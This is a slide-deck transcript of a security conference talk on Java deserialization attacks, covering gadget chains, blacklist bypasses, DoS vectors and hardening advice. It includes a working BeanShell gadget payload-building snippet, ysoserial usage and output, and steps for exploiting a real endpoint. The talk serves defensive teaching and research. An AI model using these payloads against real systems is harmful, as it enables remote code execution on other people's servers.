JVM Deserialization Attacks: Separating the Truth from the Hype

Transcript

1. CON3044
   JVM Deserialization Attacks:
   Separating the Truth from the Hype
   Alvaro Muñoz (@pwntester)
   Christian Schneider (@cschneider4711)
   

   View Slide

2. Quick Poll
   Deserializing untrusted data will get you compromised in the worst case
   ... and will crash your JVM in the best.
   Spoiler Alert:
   Who has heard about the news (in 2015)
   about dangerous Java deserialization vulnerabilities?
   How many of you have checked and/or
   patched their systems in some way?
   Who thinks her/his systems
   are not affected?
   

   View Slide

3. Why this talk?
   3
   

   View Slide

4. Why this talk?
   • Java deserialization attacks have been known for years by the security community
   • News around Apache Commons-Collections made the topic available to a broader audience in
   2015
   • Some inaccurate advice to protect your applications is making the rounds
   • In this talk we’ll demonstrate the weakness of this advice by …
   • … showing you new remote code execution risks
   • … showing you how attackers can bypass these
   • We’ll give advice how to spot this vulnerability and its gadgets during …
   • … code reviews (i.e. showing you what to look for)
   • … pentests (i.e. how to generically test for such issues)
   4
   

   View Slide

5. Java (De)serialization 101
   –Taking a snapshot of an object graph as a byte stream that can be used to
   reconstruct the object graph to its original state
   –Only object data is serialized, not the code
   –The code sits on the Classpath of the deserializing end
   Object Graph Object Graph
   ACED 0005 …
   

   View Slide

6. Where Is It Used?
   –Communication
   –Remote/Inter process Communications (RPC/IPC)
   –Message brokers, queues
   –HTTP cookies and parameters
   –Session, tokens, client data
   –Local/Network caching
   –Clustering
   –Database/Persistence
   –…
   

   View Slide

7. Attack Surface for Java Deserialization
   • Usages of Java serialization in protocols/formats/products:
   • RMI (Remote Method Invocation)
   • JMX (Java Management Extension)
   • JMS (Java Messaging System)
   • Spring Service Invokers
   • HTTP, JMS, RMI, etc.
   • Apache SOLR (Serialization for RPC)
   • Some Cisco products
   • Some F5 products
   • Some VMware products
   • Android
   • AMF (Action Message Format)
   • JSF ViewState
   • WebLogic T3
   • Apache Shiro (via Cookie)
   • Apache HBase (RPC)
   • Apache Camel
   • Apache JCS
   • … any many more
   7
   https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
   

   View Slide

8. Attacks via internal interfaces
   8
   

   View Slide

9. Attacks via external interfaces
   9
   When Java serialization data is read back from client (browser) via Cookies etc.
   

   View Slide

10. Customizing Serialization
    10
    public class User implements Serializable {
    private String secret;
    public User (String secret) {
    this.secret = secret;
    }
    }
    

    View Slide

11. Customizing Serialization
    public class User implements Serializable {
    private String secret;
    public User (String secret) {
    this.secret = secret;
    }
    private void writeObject(ObjectOutputStream stream) throws … {
    stream.writeObject( Crypto.encrypt(secret) );
    }
    private void readObject(ObjectInputStream stream) throws … {
    secret = Crypto.decrypt( (String)stream.readObject() );
    }
    }
    11
    

    View Slide

12. Serialized form
    > java Serialize && cat user.ser | xxd
    00000000: aced 0005 7372 0004 5573 6572 5b88 b745 ....sr..User[..E
    00000010: 6511 8500 0300 014c 0006 7365 6372 6574 e......L..secret
    00000020: 7400 124c 6a61 7661 2f6c 616e 672f 5374 t..Ljava/lang/St
    00000030: 7269 6e67 3b78 7074 0006 6a72 6e72 7074 ring;xpt..jrnrptx
    00000040: 78
    12
    

    View Slide

13. View Slide

14. View Slide

15. View Slide

16. View Slide

17. View Slide

18. View Slide

19. Abusing “Deserialization Callbacks”
    • Abusing deserialization callbacks of gadgets which have dangerous code:
    • Attacker controls member fields’ values of serialized object
    • Upon deserialization .readObject() / .readResolve() is invoked
    • Aside from the classic ones also lesser-known "magic methods" help:
    • .validateObject() as part of validation (which does not prevent attacks)
    • .readObjectNoData() upon deserialization conflicts
    • .finalize() as part of GC (even after errors)
    • Works also for Externalizable’s .readExternal()
    

    View Slide

20. Toy Example
    public class RubberDucky implements Serializable {
    private String command;
    public final Object readObject(ObjectInputStream ois)
    throws OptionalDataException, ClassNotFoundException, IOException {
    ois.defaultReadObject();
    Runtime.getRuntime().exec(command);
    }
    }
    

    View Slide

21. Toy Example
    public class RubberDucky implements Serializable {
    private String command;
    public final Object readObject(ObjectInputStream ois)
    throws OptionalDataException, ClassNotFoundException, IOException {
    ois.defaultReadObject();
    Runtime.getRuntime().exec(command);
    }
    }
    E.g. calc.exe
    

    View Slide

22. Toy Example
    public class RubberDucky implements Serializable {
    private String command;
    public final Object readObject(ObjectInputStream ois)
    throws OptionalDataException, ClassNotFoundException, IOException {
    ois.defaultReadObject();
    Runtime.getRuntime().exec(command);
    }
    }
    

    View Slide

23. Toy Example
    public class RubberDucky implements Serializable {
    private String command;
    public final Object readObject(ObjectInputStream ois)
    throws OptionalDataException, ClassNotFoundException, IOException {
    ois.defaultReadObject();
    Runtime.getRuntime().exec(command);
    }
    }
    

    View Slide

24. OK, but now some real Gadgets please…
    • Real world exploits use multiple steps
    • Build a chain of gadgets consisting of
    • Classes commonly available in target’s ClassPath
    • Many already existing
    • Our research found some interesting new…
    • Just the class sitting on target’s ClassPath is enough
    • ...when application has a deserialization endpoint
    24
    

    View Slide

25. “Apache Commons Collections” Gadget Chain
    ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
    AnnotationInvocationHandler.invoke()
    LazyMap.get()
    ChainedTransformer.transform()
    ConstantTransformer.transform()
    InvokerTransformer.transform()
    Method.invoke()
    Class.getMethod()
    InvokerTransformer.transform()
    Method.invoke()
    Runtime.getRuntime()
    InvokerTransformer.transform()
    Method.invoke()
    Class.getMethod()
    InvokerTransformer.transform()
    Method.invoke()
    Runtime.exec()
    25
    Credits:
    Chris Frohoff (@frohoff)
    Gabriel Lawrence (@gebl)
    

    View Slide

26. It‘s not only related to dangerous
    code in magic methods ...
    "dangerous code" for the attacker to
    influence?
    26
    

    View Slide

27. Jumping around with Proxies
    27
    Class
    field1
    field2
    …
    method1
    method2
    Interface
    method1
    method2
    Invocation
    Handler
    Custom
    code
    method2
    Proxy
    

    View Slide

28. How attackers abuse InvocationHandler (IH) Gadgets
    • Attacker steps upon serialization:
    • Attacker controls member fields of IH gadget, which has dangerous code
    • IH (as part of Dynamic Proxy) gets serialized by attacker as field on which an innocuous
    method is called from "magic method" (of class to deserialize)
    • Application steps upon deserialization:
    • "Magic Method" of "Trigger Gadget" calls innocuous method on an attacker controlled field
    • This call is intercepted by proxy (set by attacker as this field) and dispatched to IH
    • Other IH-like types exist aside from java.lang.reflect.InvocationHandler
    • javassist.util.proxy.MethodHandler (no requirement to implement interface)
    • org.jboss.weld.bean.proxy.MethodHandler
    28
    

    View Slide

29. public class TriggerGadget implements Serializable {
    private Comparator comp;
    …
    public final Object readObject(ObjectInputStream ois) throw Exception {
    ois.defaultReadObject();
    comp.compare("foo", "bar");
    }
    }
    Toy Example: Trigger Gadget
    29
    Attacker controls this field, so it can set it to
    anything implementing java.util.Comparator
    … anything, even a Proxy
    Proxy will intercept call to
    “compare()” and dispatch it
    to its Invocation Handler
    29
    

    View Slide

30. Toy Example: Dangerous IH
    30
    Payload execution
    30
    public class DangerousHandler implements Serializable, InvocationHandler {
    private String command;
    …
    public Object invoke(Object proxy, Method method, Object[] args) {
    Runtime.getRuntime().exec(command);
    }
    }
    

    View Slide

31. New RCE gadget in BeanShell (CVE-2016-2510)
    • bsh.XThis$Handler
    • Serializable
    • InvocationHandler
    • Upon method interception custom BeanShell code will be called
    • Almost any Java code can be included in the payload
    • In order to invoke the payload a trigger gadget is needed to dispatch the execution to
    the InvocationHandler invoke method
    31
    

    View Slide

32. 32
    String payload = "compare(Object foo, Object bar) {" +
    "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return 1;}";
    // Create BeanShell Interpreter
    Interpreter i = new Interpreter(); i.eval(payload);
    // Create Proxy/InvocationHandler to be a "Comparator" using Interpreter
    XThis xt = new XThis(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) getField(xt.getClass(),
    "invocationHandler").get(xt);
    Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader,
    new Class>[]{Comparator.class}, handler);
    // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
    PriorityQueue priorityQueue = new PriorityQueue<>(2, comparator);
    Object[] queue = new Object[] {1,1};
    setFieldValue(priorityQueue, "queue", queue);
    setFieldValue(priorityQueue, "size", 2);
    RCE gadget in BeanShell (CVE-2016-2510)
    

    View Slide

33. Fixed in products from IBM, RedHat & Apache
    33
    

    View Slide

34. Payload Generator "ysoserial“ (by @frohoff & @gebl)
    34
    

    View Slide

35. > java -jar ysoserial.jar
    Y SO SERIAL?
    Usage: java -jar ysoserial.jar [payload type] '[shell command to execute]'
    Available payload types:
    BeanShell
    C3P0
    CommonsBeanutils
    CommonsCollections
    FileUpload
    Groovy
    Hibernate
    JRMPClient
    JRMPListener
    JSON
    Jdk7u2
    Jython
    Myfaces
    ROME
    Spring
    Gadgets available in ysoserial
    35
    …
    

    View Slide

36. Payload generation via ysoserial
    36
    > java -jar ysoserial.jar BeanShell 'calc' | xxd
    0000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.uti
    0000010: 6c2e 5072 696f 7269 7479 5175 6575 6594 l.PriorityQueue.
    0000020: da30 b4fb 3f82 b103 0002 4900 0473 697a .0..?.....I..siz
    0000030: 654c 000a 636f 6d70 6172 6174 6f72 7400 eL..comparatort.
    0000040: 164c 6a61 7661 2f75 7469 6c2f 436f 6d70 .Ljava/util/Comp
    0000050: 6172 6174 6f72 3b78 7000 0000 0273 7d00 arator;xp....s}.
    0000060: 0000 0100 146a 6176 612e 7574 696c 2e43 .....java.util.C
    0000070: 6f6d 7061 7261 746f 7278 7200 176a 6176 omparatorxr..jav
    0000080: 612e 6c61 6e67 2e72 6566 6c65 6374 2e50 a.lang.reflect.P
    0000090: 726f 7879 e127 da20 cc10 43cb 0200 014c roxy.'. ..C....L
    00000a0: 0001 6874 0025 4c6a 6176 612f 6c61 6e67 ..ht.%Ljava/lang
    00000b0: 2f72 6566 6c65 6374 2f49 6e76 6f63 6174 /reflect/Invocat
    00000c0: 696f 6e48 616e 646c 6572 3b78 7073 7200 ionHandler;xpsr.
    00000d0: 1162 7368 2e58 5468 6973 2448 616e 646c .bsh.XThis$Handl
    

    View Slide

37. Some examples of recent endpoints
    • PayPal was vulnerable to "Untrusted Java Deserialization",
    which means "Remote Code Execution"
    • Found as part of bug-bounty in December 2015 by Mark Litchfield (rewarded
    by PayPal with $ 15.000)
    • Independently found two days later by Michael Stepankin (still rewarded by
    PayPal with $ 5.000 even as duplicate)
    • Fixed within 48 hours by PayPal (respect!)
    http://artsploit.blogspot.de/2016/01/paypal-rce.html
    https://www.linkedin.com/pulse/my-50k-personal-challenge-results-mark-litchfield
    https://www.paypal-engineering.com/2016/01/21/lessons-learned-from-the-java-deserialization-bug/
    

    View Slide

38. PayPal Manager Form Submit …
    38
    Reported by Mark Litchfield & Michael Stepankin
    

    View Slide

39. … which includes some Base64
    as part of some hidden form value
    Reported by Mark Litchfield & Michael Stepankin
    

    View Slide

40. … which is some serialized Java object
    Reported by Mark Litchfield & Michael Stepankin
    

    View Slide

41. Exploiting such Deserialization Endpoints…
    • Create "command to execute on server" payload with ysoserial
    • Base64 encode it (if required by endpoint)
    • Use as replacement for original Java deserialization value
    • i.e. hidden form field’s value in submit in PayPal scenario
    • ;-)
    

    View Slide

42. Mitigation Advices Analysis
    42
    

    View Slide

43. Mitigation Advice #1: Remove Gadget
    43
    

    View Slide

44. Tons of Gadgets
    • Spring AOP (by Wouter Coekaerts in 2011)
    • First public exploit: (by @pwntester in 2013)
    • Commons-fileupload (by Arun Babu Neelicattu in 2013)
    • Groovy (by cpnrodzc7 / @frohoff in 2015)
    • Commons-Collections (by @frohoff and @gebl in 2015)
    • Spring Beans (by @frohoff and @gebl in 2015)
    • Serial DoS (by Wouter Coekaerts in 2015)
    • SpringTx (by @zerothinking in 2016)
    • JDK7 (by @frohoff in 2016)
    • Beanutils (by @frohoff in 2016)
    • Hibernate, MyFaces, C3P0, net.sf.json, ROME (by M. Bechler in 2016)
    • Beanshell, Jython, lots of bypasses (by @pwntester and @cschneider4711 in 2016)
    • JDK7 Rhino (by @matthias_kaiser in 2016)
    • ...
    44
    

    View Slide

45. “Golden” JRE Gadgets
    • A Gadget chain that only require classes in the JRE will highly increase
    attacker success ratio.
    • No dependencies required!
    • Golden JRE Gadgets known so far:
    • Rhino by Matthias Kaiser. Up to JRE 7u13
    • AnnotationInvocationHandler I by Chris Frohoff. Up to JRE 7u21
    • AnnotationInvocationHandler II by Alvaro Munoz. Up to JRE 8u20
    • CORBA Stubs by Alexandr Mirosh and Alvaro Munoz.
    • Works on every JRE version, but requires a Security Manager to be installed
    45
    

    View Slide

46. Mitigation Advice #1: Remove Gadget
    46
    

    View Slide

47. 47
    Attackers can defer execution:
    • finalize() method
    • Play with expected types (i.e return valid types for the cast which fire later)
    If you can uninstall/restore the Security Manager or refresh the policy, attackers might be able to do it
    Mitigation Advice #2: AdHoc Security Manager
    

    View Slide

48. 48
    Mitigation Advice #2: AdHoc Security Manager
    Attackers can defer execution:
    • finalize() method
    • Play with expected types (i.e return valid types for the cast which fire later)
    If you can uninstall/restore the Security Manager or refresh the policy, attackers might be able to do it
    

    View Slide

49. Mitigation Advice #3: Defensive Deserialization
    49
    class DefensiveObjectInputStream extends ObjectInputStream {
    @Override
    protected Class> resolveClass(ObjectStreamClass cls) throws … {
    String className = cls.getName();
    if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) {
    throw new InvalidClassException("Unexpected serialized class", className);
    }
    return super.resolveClass(cls);
    }
    }
    

    View Slide

50. How did vendors handle this recently?
    50
    Vendor / Product Type of Protection
    Atlassian Bamboo Removed Usage of Serialization
    Apache ActiveMQ Defensive Deserialization Whitelist
    Apache Batchee Defensive Deserialization Blacklist + optional Whitelist
    Apache JCS Defensive Deserialization Blacklist + optional Whitelist
    Apache openjpa Defensive Deserialization Blacklist + optional Whitelist
    Apache Owb Defensive Deserialization Blacklist + optional Whitelist
    Apache TomEE Defensive Deserialization Blacklist + optional Whitelist
    ********** (still to be fixed) Defensive Deserialization Blacklist
    

    View Slide

51. Con: Blacklists may be bypassed
    • New gadget type to bypass ad-hoc look-ahead ObjectInputStream blacklist
    protections:
    • During deserialization of the object graph, a new immaculate unprotected
    ObjectInputStream will be instantiated
    • Attacker can provide any arbitrary bytes for unsafe deserialization
    • Bypass does not work for cases where ObjectInputStream is instrumented
    51
    public class NestedProblems implements Serializable {
    private byte[] bytes … ;
    …
    private void readObject(ObjectInputStream in) throws … {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    ois.readObject();
    }
    }
    

    View Slide

52. Is this for real or is this just fantasy?
    52
    Currently we found many bypass gadgets:
    JRE: 2
    Third Party Libraries:
    − Apache libraries: 6
    − Spring libraries: 1
    − Other popular libraries: 2
    SerialKiller: Bypass Gadget Collection:
    https://github.com/pwntester/SerialKillerBypassGadgetCollection
    Application Servers:
    − WildFly (JBoss): 2
    − IBM WebSphere: 15
    − Oracle WebLogic: 5
    − Apache TomEE: 5
    − Apache Tomcat: 2
    − Oracle GlassFish: 2
    

    View Slide

53. Example: Bypass AdHoc SecurityManager & Blacklists
    javax.media.jai.remote.SerializableRenderedImage
    finalize() > dispose() > closeClient()
    53
    private void closeClient() {
    // Connect to the data server.
    Socket socket = connectToServer();
    // Get the socket output stream and wrap an object output stream around it.
    OutputStream out = null;
    ObjectOutputStream objectOut = null;
    ObjectInputStream objectIn = null;
    try {
    out = socket.getOutputStream();
    objectOut = new ObjectOutputStream(out);
    objectIn = new ObjectInputStream( socket.getInputStream() );
    } catch (IOException e) { ... }
    objectIn.readObject();
    

    View Slide

54. Con: Whitelists stills vulnerable to Denial-of-Service attacks
    • SerialDOS by Wouter Coekaerts
    • HashSet Billion-Laughs Style
    • jInfinity by Arshan Dabirsiaghi
    • Size-uninitialized StringBuilder may be abused by huge strings to allocate a large amount of growing character arrays
    • OIS-DOS by Tomáš Polešovský
    • Heap overflow when deserializing specially crafted nested ArrayLists, HashMaps or Object arrays
    • Hashtable collision
    • Uses an Integer overflow to force underlying array to be length 1 and so creating collisions when adding items with same hashCode
    • HashMap collision
    • Number of buckets is directly controllable by attacker
    • Official response: Won’t fix: Serialization should only be used in trusted environments
    54
    

    View Slide

55. Mitigation Advice #3: Defensive Deserialization
    55
    class DefensiveObjectInputStream extends ObjectInputStream {
    @Override
    protected Class> resolveClass(ObjectStreamClass cls) throws … {
    String className = cls.getName();
    if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) {
    throw new InvalidClassException("Unexpected serialized class", className);
    }
    return super.resolveClass(cls);
    }
    }
    

    View Slide

56. It’s not only about direct Java deserialization
    56
    

    View Slide

57. XStream
    • XStream
    • Serialize/Deserialize to/from XML
    • If object being deserialized contains a Java deserialization callback (eg:
    readObject), it will get called by XStream
    • Same gadgets can normally be used with XStream
    • More gadgets are available to attackers since XStream does not require Serializable
    interface to be implemented.
    • XStream implemented a blacklist/whitelist protection
    • Unfortunately developers are not fully aware and still use unprotected or only blacklisted
    XStream instances
    • Attackers can use Bypass gadgets to lunch pure Java deserialization attacks
    57
    

    View Slide

58. JVM Languages: Scala & Groovy
    58
    import java.io._
    object SerializationDemo extends App {
    val ois = new ObjectInputStream( new FileInputStream(“exploit.ser") )
    val o = ois.readObject()
    ois.close()
    }
    import java.io.*
    File exploit = new File('exploit.ser')
    try {
    def is = exploit.newObjectInputStream(this.class.classLoader)
    is.eachObject { println it }
    } catch (e) { throw new Exception(e) } finally { is?.close() }
    Source code: https://github.com/pwntester/JVMDeserialization
    

    View Slide

59. What to do then?
    59
    

    View Slide

60. How to Harden Your Applications?
    DO NOT DESERIALIZE UNTRUSTED DATA!!
    When architecture permits it:
    • Use other formats instead of serialized objects: JSON, XML, etc.
    • But be aware of XML-based deserialization attacks (XStream, XmlDecoder, etc.)
    As second-best option:
    Use defensive deserialization with look-ahead OIS with a strict whitelist
    • Don’t rely on gadget-blacklisting alone!
    • You can build the whitelist with OpenSource agent SWAT
    ( Serial Whitelist Application Trainer: https://github.com/cschneider4711/SWAT )
    • Prefer an agent-based instrumenting of ObjectInputStream towards LAOIS
    • Scan your own whitelisted code for potential gadgets
    • Still be aware of DoS scenarios
    60
    

    View Slide

61. Apache Commons-IO ValidatingObjectInputStream (2.5)
    61
    org.apache.commons.io.serialization.ValidatingObjectInputStream
    

    View Slide

62. Apache Commons-IO ValidatingObjectInputStream (2.5)
    62
    org.apache.commons.io.serialization.ValidatingObjectInputStream
    Do NOT use black lists!
    X
    

    View Slide

63. Best solution? J
    63
    Status: Closed / Withdrawn
    

    View Slide

64. Future Looks Bright
    64
    Status: Targeted
    

    View Slide

65. JEP-290: What is in there for us?
    • Provide a flexible mechanism to narrow the classes that can be deserialized from any class
    available to an application down to a context-appropriate set of classes.
    • Provide metrics to the filter for graph size and complexity during deserialization to validate
    normal graph behaviors.
    • Provide a mechanism for RMI-exported objects to validate the classes expected in invocations.
    • The filter mechanism must not require subclassing or modification to existing subclasses of
    ObjectInputStream.
    • Define a global filter that can be configured by properties or a configuration file.
    65
    Whitelist defensive deserialization
    Denial of Service mitigation
    Secure RMI
    Backwards compatible, Catch‘em all!
    Configurable
    

    View Slide

66. Finding Vulnerabilities & Gadgets
    66
    

    View Slide

67. Finding Deserialization Endpoints
    • Check your endpoints for those accepting (untrusted) serialized data
    • Find calls to:
    • ObjectInputStream.readObject()
    • ObjectInputStream.readUnshared()
    • Where InputStream is attacker-controlled. For example:
    • May happen in library code like JMS, JMX, RMI, Queues, Brokers, Spring HTTPInvokers, etc.
    InputStream is = request.getInputStream();
    ObjectInputStream ois = new ObjectInputStream(is);
    ois.readObject();
    

    View Slide

68. … reached by:
    – java.io.Externalizable.readExternal()
    – java.io.Serializable.readObject()
    – java.io.Serializable.readObjectNoData()
    – java.io.Serializable.readResolve()
    – java.io.ObjectInputValidation.validateObject()
    – java.lang.Object.finalize()
    – Serializable InvocationHandlers
    – …
    Finding Gadgets in a Haystack
    Look for interesting method calls …
    – java.lang.reflect.Method.invoke()
    – java.io.File()
    – java.io.ObjectInputStream()
    – java.net.URLClassLoader()
    – java.net.Socket()
    – java.net.URL()
    – javax.naming.Context.lookup()
    – …
    • Check your code for potential gadgets, which could be used in deserialization
    • "Gadget Space" is too big. Typical app-server based deployments have hundreds of JARs
    • SAST tools such as HPE Fortify SCA might help
    

    View Slide

69. Passive Deserialization Endpoint Detection
    • Requests (or any network traffic) carrying serialized Java objects:
    • Easy to spot due to magic bytes at the beginning: 0xAC 0xED …
    • Some web-apps might use Base64 to store serialized data in Cookies, etc.: rO0AB …
    • Be aware that compression could’ve been applied before Base64
    • 0x1F8B 0x0800 …
    • H4sIA …
    • Tools
    • Use professional scanners (e.g. HPE WebInspect) for enterprise-level scans
    • Use free interception proxies (e.g. OWASP ZAP, Burp) to passively scan for Java serialization
    • Use network sniffers (e.g. Wireshark) for network traffic
    

    View Slide

70. Apply what you have learned today
    Next weeks you should:
    • Identify your critical applications’ exposure to untrusted data that gets deserialized
    • For already reported vulnerable products, ensure to apply patches
    • Configure applications with whitelists where possible
    In the first few months following this presentation you should:
    • If possible switch the deserialization to other formats (JSON, etc.), or
    • Use defensive deserialization with a strict whitelist
    Within six months to one year you should:
    • Use DAST to actively scan for deserialization vulnerabilities as part of your process
    • Apply SAST techniques to search for attacker-helping gadgets
    • Extend this analysis also to non-critical applications
    70
    

    View Slide

71. Main Takeaway
    DO NOT DESERIALIZE UNTRUSTED DATA
    71
    

    View Slide

72. Thank you!
    Alvaro Muñoz, @pwntester
    alvaro.munoz@hpe.com
    Christian Schneider, @cschneider4711
    mail@Christian-Schneider.net
    72
    Perils of Java Deserialization
    Whitepaper
    http://community.hpe.com/t5/Se
    curity-Research/The-perils-of-
    Java-deserialization/ba-
    p/6838995#.V5Y-gZPjjdQ
    

    View Slide